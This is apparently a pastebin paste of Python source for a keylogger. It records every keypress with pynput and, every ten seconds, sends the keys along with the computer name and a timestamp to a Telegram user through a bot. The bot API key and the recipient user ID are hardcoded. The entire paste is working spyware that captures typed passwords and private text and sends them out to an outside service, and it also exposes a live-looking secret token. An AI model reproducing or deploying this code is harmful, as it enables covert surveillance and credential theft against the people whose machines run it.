· 6 years ago · Mar 17, 2020, 01:10 PM
1import socket # for computer name
2import telebot
3import threading
4#import keyboard
5from pynput.keyboard import Key, Listener
6import time
7import datetime
8from threading import Timer
9import json
10
11TELEGRAM_BOT_API_KEY = "937597982:AAEGZ-td8bvGg6oe144IBvuCKra45YXQB0Y"
12USER_ID = 404663608
13
14class TelegramBot:
15 def __init__(self, api, user_id):
16 self.api = api
17 self.user_id = user_id
18 self.bot = telebot.TeleBot(api)
19
20 def write_message(self, keys):
21 json_dict = {
22 "computer_name": socket.gethostname(),
23 "time": datetime.datetime.now().strftime("%d-%m-%y %H:%M:%S"),
24 "keys": keys
25 }
26 self.bot.send_message(self.user_id, json.dumps(json_dict))
27
28class Keylogger:
29 def __init__(self, delay_in_secs = 10):
30 self.is_stopped = False
31 self.is_paused = False
32 self.recorded_keys = ""
33 self.send_keys_thread = threading.Thread(target=self.get_keys)
34 self.telegram_bot = TelegramBot(TELEGRAM_BOT_API_KEY, USER_ID)
35 self.keyboard_listener = Listener(on_press=self.on_key_pressed)
36 self.delay = delay_in_secs
37
38 def on_key_pressed(self, key):
39 self.recorded_keys += str(key) + " "
40
41 def start_recording_keys(self):
42 self.is_stopped = False
43 self.is_paused = False
44 self.record_keys = ""
45 self.send_keys_thread.start()
46 self.keyboard_listener.start()
47
48 def stop_recording_keys(self):
49 self.is_stopped = True
50 self.is_paused = True
51 self.record_keys = ""
52 self.send_keys_thread.stop()
53 self.keyboard_listener.stop()
54
55
56 def get_keys(self):
57 while not self.is_stopped:
58 if self.recorded_keys:
59 self.telegram_bot.write_message(self.recorded_keys)
60 else:
61 self.telegram_bot.write_message("None keys")
62 self.recorded_keys = ""
63 time.sleep(self.delay)
64
65def main():
66 keylogger = Keylogger()
67
68 try:
69 keylogger.start_recording_keys()
70 except KeyboardInterrupt:
71 print("Exit")
72 keyloger.self.is_stopped = True
73
74if __name__ == '__main__':
75 main()